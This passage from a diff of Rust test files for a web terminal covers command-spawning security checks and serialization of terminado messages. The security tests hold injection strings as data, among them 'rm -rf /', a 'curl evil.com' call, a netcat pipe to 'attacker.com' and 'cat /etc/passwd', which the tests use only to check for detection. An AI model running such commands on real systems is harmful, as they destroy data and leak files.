"TERM variable should not contain null bytes"
);
}
#[test]
fn test_safe_term_values() {
// Only allow known-safe TERM values
let safe_terms = vec![
"xterm",
"xterm-256color",
"screen",
"screen-256color",
"vt100",
"vt220",
"linux",
"alacritty",
];
for term in safe_terms {
// Verify they are alphanumeric with hyphens only
assert!(
term.chars().all(|c| c.is_alphanumeric() || c == '-'),
"TERM value '{}' should only contain alphanumeric and hyphens",
term
);
}
}
// ============================================================================
// Command Arguments Security Tests
// ============================================================================
#[test]
fn test_command_builder_no_shell_expansion() {
// Using Command::new prevents shell expansion
let cmd = "/bin/sh";
let command = Command::new(cmd);
// Command::new does not invoke a shell, so these would be literal arguments
// This is the safe way to spawn processes
let program = command.get_program();
assert_eq!(program, cmd);
}
#[test]
fn test_no_shell_command_string_execution() {
// We should never use sh -c "command string" pattern
// This test documents that we use Command::new, not shell strings
let safe_command = "/bin/sh";
// Verify we're not constructing shell command strings
assert!(!safe_command.contains(" -c "));
assert!(!safe_command.contains(" -e "));
}
#[test]
fn test_reject_command_injection_patterns() {
// These patterns indicate command injection attempts
let injection_attempts = vec![
"/bin/sh; rm -rf /",
"/bin/bash && curl evil.com",
"/bin/sh | nc attacker.com 1234",
"/bin/bash `whoami`",
"/bin/sh $(cat /etc/passwd)",
];
for attempt in injection_attempts {
// Any of these characters indicate shell injection
let has_injection = attempt.contains(';')
|| attempt.contains('&')
|| attempt.contains('|')
|| attempt.contains('`')
|| attempt.contains("$(");
assert!(
has_injection,
"Should detect injection attempt in: {}",
attempt
);
}
}
// ============================================================================
// Path Traversal Prevention Tests
// ============================================================================
#[test]
fn test_no_path_traversal_in_command() {
// Commands should not allow path traversal
let path_traversal_attempts = vec![
"../../../bin/sh",
"/bin/../../../etc/passwd",
"./evil.sh",
"~/malicious.sh",
];
for attempt in path_traversal_attempts {
assert!(
attempt.contains("..") || attempt.starts_with("./") || attempt.starts_with('~'),
"Path traversal attempt: {}",
attempt
);
}
}
#[test]
fn test_safe_command_paths_exist() {
// Common safe shell paths that should exist on most systems
let common_shells = vec!["/bin/sh"];
for shell in common_shells {
if Path::new(shell).exists() {
// Verify it's an absolute path
assert!(shell.starts_with('/'), "Shell path should be absolute");
}
}
}
// ============================================================================
// Input Size Limits Tests
// ============================================================================
#[test]
fn test_command_path_reasonable_length() {
// Command paths should have reasonable length limits
let max_path_length = 4096; // Common PATH_MAX on Linux
let command = "/bin/sh";
assert!(
command.len() < max_path_length,
"Command path should be less than {} bytes",
max_path_length
);
}
#[test]
fn test_reject_excessively_long_paths() {
let excessive_path = "/".to_string() + &"a".repeat(10000);
assert!(
excessive_path.len() > 4096,
"Test path should exceed reasonable limits"
);
// In real code, we should reject paths this long
}
// ============================================================================
// Whitelist Validation Tests
// ============================================================================
#[test]
fn test_allowed_shells_whitelist() {
// Define a whitelist of allowed shells
let allowed_shells = vec![
"/bin/sh",
"/bin/bash",
"/bin/zsh",
"/usr/bin/bash",
"/usr/bin/zsh",
"/bin/dash",
];
// All allowed shells should be absolute paths
for shell in &allowed_shells {
assert!(
shell.starts_with('/'),
"Whitelisted shell '{}' must be absolute path",
shell
);
}
// All allowed shells should not contain dangerous characters
for shell in &allowed_shells {
assert!(
!shell.contains(';'),
"Whitelisted shell '{}' should not contain ';'",
shell
);
assert!(
!shell.contains('&'),
"Whitelisted shell '{}' should not contain '&'",
shell
);
}
}
#[test]
fn test_validate_command_against_whitelist() {
let allowed_shells = ["/bin/sh", "/bin/bash", "/usr/bin/zsh"];
let test_command = "/bin/sh";
assert!(
allowed_shells.contains(&test_command),
"Command should be in whitelist"
);
let dangerous_command = "/tmp/malicious.sh";
assert!(
!allowed_shells.contains(&dangerous_command),
"Dangerous command should not be in whitelist"
);
}
// ============================================================================
// Null Byte Injection Tests
// ============================================================================
#[test]
fn test_no_null_bytes_in_command() {
// Null bytes can truncate commands in some contexts
let safe_command = "/bin/sh";
assert!(
!safe_command.contains('\0'),
"Command should not contain null bytes"
);
}
#[test]
fn test_detect_null_byte_injection() {
// Test that we can detect null byte injection attempts
let injection = "/bin/sh\0malicious";
assert!(
injection.contains('\0'),
"Should detect null byte in command"
);
}
// ============================================================================
// File Descriptor Security Tests
// ============================================================================
#[test]
fn test_no_file_descriptor_redirection_in_command() {
// Commands should not contain file descriptor redirections
let command = "/bin/sh";
assert!(!command.contains('>'), "No output redirection");
assert!(!command.contains('<'), "No input redirection");
assert!(!command.contains("2>&1"), "No stderr redirection");
}
// ============================================================================
// Unicode and Special Character Tests
// ============================================================================
#[test]
fn test_command_ascii_only() {
// Command paths should be ASCII to avoid Unicode tricks
let safe_command = "/bin/sh";
assert!(safe_command.is_ascii(), "Command path should be ASCII only");
}
#[test]
fn test_no_control_characters_in_command() {
// Commands should not contain control characters
let safe_command = "/bin/sh";
for ch in safe_command.chars() {
assert!(
!ch.is_control() || ch == '\n' || ch == '\t',
"Command should not contain control character: {:?}",
ch
);
}
}
// ============================================================================
// Symlink and Special File Tests
// ============================================================================
#[test]
fn test_command_not_in_tmp() {
// Commands should not be executed from /tmp (common malware location)
let command = "/bin/sh";
assert!(
!command.starts_with("/tmp/"),
"Should not execute commands from /tmp"
);
}
#[test]
fn test_command_not_in_user_writable_dirs() {
// Commands should not be in user-writable directories
let command = "/bin/sh";
let user_writable = vec!["/tmp/", "/var/tmp/", "/home/", "/Users/"];
for dir in user_writable {
if command.starts_with(dir) {
panic!("Command should not be in user-writable directory: {}", dir);
}
}
}
// ============================================================================
// Logging and Audit Tests
// ============================================================================
#[test]
fn test_command_execution_should_be_logged() {
// This test documents that command execution should be logged
// In the actual code, log::info! is used when spawning processes
let command = "/bin/sh";
// Verify command is loggable (no sensitive data, reasonable length)
assert!(
command.len() < 1024,
"Command should be short enough to log"
);
assert!(command.is_ascii(), "Command should be safely loggable");
}
// ============================================================================
// Integration with Command::new() Tests
// ============================================================================
#[test]
fn test_command_new_prevents_shell_expansion() {
// Document that Command::new does not invoke a shell
let cmd = Command::new("/bin/sh");
// Command::new takes a literal program path, no shell interpretation
assert_eq!(cmd.get_program(), "/bin/sh");
}
#[test]
fn test_command_args_separate_from_program() {
// Arguments should be passed separately, not in the program string
let mut cmd = Command::new("/bin/sh");
cmd.arg("-c");
cmd.arg("echo hello");
// This is safe because args are not shell-interpreted
assert_eq!(cmd.get_program(), "/bin/sh");
}
// ============================================================================
// Summary Test: Complete Security Checklist
// ============================================================================
#[test]
fn test_command_security_checklist() {
let command = "/bin/sh";
// 1. Absolute path
assert!(command.starts_with('/'), "Must be absolute path");
// 2. No path traversal
assert!(!command.contains(".."), "No path traversal");
// 3. No shell metacharacters
assert!(!command.contains(';'), "No semicolons");
assert!(!command.contains('&'), "No ampersands");
assert!(!command.contains('|'), "No pipes");
assert!(!command.contains('`'), "No backticks");
assert!(!command.contains('$'), "No variable expansion");
// 4. No null bytes
assert!(!command.contains('\0'), "No null bytes");
// 5. ASCII only
assert!(command.is_ascii(), "ASCII only");
// 6. Reasonable length
assert!(command.len() < 256, "Reasonable length");
// 7. Not in user-writable directory
assert!(!command.starts_with("/tmp/"), "Not in /tmp");
assert!(!command.starts_with("/var/tmp/"), "Not in /var/tmp");
// 8. No spaces (absolute path only)
assert!(!command.contains(' '), "No spaces in path");
println!("✓ Command '{}' passed all security checks", command);
}

311
tests/terminado_tests.rs Normal file
View File

@ -0,0 +1,311 @@
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
// All rights reserved.
//
// Unit tests for terminado.rs module
use webterm::event::IO;
use webterm::terminado::TerminadoMessage;
// ============================================================================
// Serialization Tests
// ============================================================================
#[test]
fn test_serialize_resize() {
let msg = TerminadoMessage::Resize { rows: 25, cols: 80 };
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["set_size",25,80]"#);
}
#[test]
fn test_serialize_resize_large_dimensions() {
let msg = TerminadoMessage::Resize {
rows: 200,
cols: 300,
};
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["set_size",200,300]"#);
}
#[test]
fn test_serialize_resize_minimum() {
let msg = TerminadoMessage::Resize { rows: 1, cols: 1 };
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["set_size",1,1]"#);
}
#[test]
fn test_serialize_stdin() {
let msg = TerminadoMessage::Stdin(IO::from("hello world"));
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["stdin","hello world"]"#);
}
#[test]
fn test_serialize_stdin_empty() {
let msg = TerminadoMessage::Stdin(IO::from(""));
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["stdin",""]"#);
}
#[test]
fn test_serialize_stdin_special_chars() {
let msg = TerminadoMessage::Stdin(IO::from("tab\there\nnewline"));
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["stdin","tab\there\nnewline"]"#);
}
#[test]
fn test_serialize_stdin_unicode() {
let msg = TerminadoMessage::Stdin(IO::from("Hello 世界 🚀"));
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["stdin","Hello 世界 🚀"]"#);
}
#[test]
fn test_serialize_stdout() {
let msg = TerminadoMessage::Stdout(IO::from("output text"));
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["stdout","output text"]"#);
}
#[test]
fn test_serialize_stdout_empty() {
let msg = TerminadoMessage::Stdout(IO::from(""));
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["stdout",""]"#);
}
#[test]
fn test_serialize_stdout_multiline() {
let msg = TerminadoMessage::Stdout(IO::from("line1\nline2\nline3"));
let json = serde_json::to_string(&msg).unwrap();
assert_eq!(json, r#"["stdout","line1\nline2\nline3"]"#);
}
// ============================================================================
// Deserialization Tests
// ============================================================================
#[test]
fn test_deserialize_resize() {
let json = r#"["set_size", 25, 80]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(msg, TerminadoMessage::Resize { rows: 25, cols: 80 });
}
#[test]
fn test_deserialize_resize_no_spaces() {
let json = r#"["set_size",25,80]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(msg, TerminadoMessage::Resize { rows: 25, cols: 80 });
}
#[test]
fn test_deserialize_resize_large() {
let json = r#"["set_size", 300, 500]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(
msg,
TerminadoMessage::Resize {
rows: 300,
cols: 500
}
);
}
#[test]
fn test_deserialize_stdin() {
let json = r#"["stdin", "hello world"]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("hello world")));
}
#[test]
fn test_deserialize_stdin_empty() {
let json = r#"["stdin", ""]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("")));
}
#[test]
fn test_deserialize_stdin_special_chars() {
let json = r#"["stdin", "tab\there\nnewline"]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("tab\there\nnewline")));
}
#[test]
fn test_deserialize_stdin_unicode() {
let json = r#"["stdin", "Hello 世界 🚀"]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("Hello 世界 🚀")));
}
#[test]
fn test_deserialize_stdout() {
let json = r#"["stdout", "output text"]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(msg, TerminadoMessage::Stdout(IO::from("output text")));
}
#[test]
fn test_deserialize_stdout_empty() {
let json = r#"["stdout", ""]"#;
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
assert_eq!(msg, TerminadoMessage::Stdout(IO::from("")));
}
// ============================================================================
// Round-trip Tests (Serialize then Deserialize)
// ============================================================================
#[test]
fn test_roundtrip_resize() {
let original = TerminadoMessage::Resize {
rows: 40,
cols: 120,
};
let json = serde_json::to_string(&original).unwrap();
let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse");
assert_eq!(original, parsed);
}
#[test]
fn test_roundtrip_stdin() {
let original = TerminadoMessage::Stdin(IO::from("test input"));
let json = serde_json::to_string(&original).unwrap();
let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse");
assert_eq!(original, parsed);
}
#[test]
fn test_roundtrip_stdout() {
let original = TerminadoMessage::Stdout(IO::from("test output"));
let json = serde_json::to_string(&original).unwrap();
let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse");
assert_eq!(original, parsed);
}
// ============================================================================
// Error Cases
// ============================================================================
#[test]
fn test_deserialize_invalid_json() {
let json = r#"not valid json"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_not_array() {
let json = r#"{"type": "stdin", "data": "test"}"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_empty_array() {
let json = r#"[]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_unknown_type() {
let json = r#"["unknown_type", "data"]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_stdin_wrong_length() {
let json = r#"["stdin"]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_stdin_too_many_elements() {
let json = r#"["stdin", "data", "extra"]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_stdout_wrong_length() {
let json = r#"["stdout"]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_resize_wrong_length() {
let json = r#"["set_size", 25]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_resize_missing_rows() {
let json = r#"["set_size"]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_resize_non_integer() {
let json = r#"["set_size", "25", "80"]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_stdin_non_string() {
let json = r#"["stdin", 123]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
#[test]
fn test_deserialize_type_not_string() {
let json = r#"[123, "data"]"#;
let result = TerminadoMessage::from_json(json);
assert!(result.is_err());
}
// ============================================================================
// Edge Cases
// ============================================================================
#[test]
fn test_message_equality() {
let msg1 = TerminadoMessage::Stdin(IO::from("same"));
let msg2 = TerminadoMessage::Stdin(IO::from("same"));
let msg3 = TerminadoMessage::Stdin(IO::from("different"));
assert_eq!(msg1, msg2);
assert_ne!(msg1, msg3);
}
#[test]
fn test_message_clone() {
let original = TerminadoMessage::Resize { rows: 30, cols: 90 };
let cloned = original.clone();
assert_eq!(original, cloned);
}
#[test]
fn test_resize_different_values() {
let msg1 = TerminadoMessage::Resize { rows: 25, cols: 80 };
let msg2 = TerminadoMessage::Resize { rows: 30, cols: 90 };
assert_ne!(msg1, msg2);
}
#[test]
fn test_different_message_types_not_equal() {
let stdin = TerminadoMessage::Stdin(IO::from("test"));
let stdout = TerminadoMessage::Stdout(IO::from("test"));
assert_ne!(stdin, stdout);
}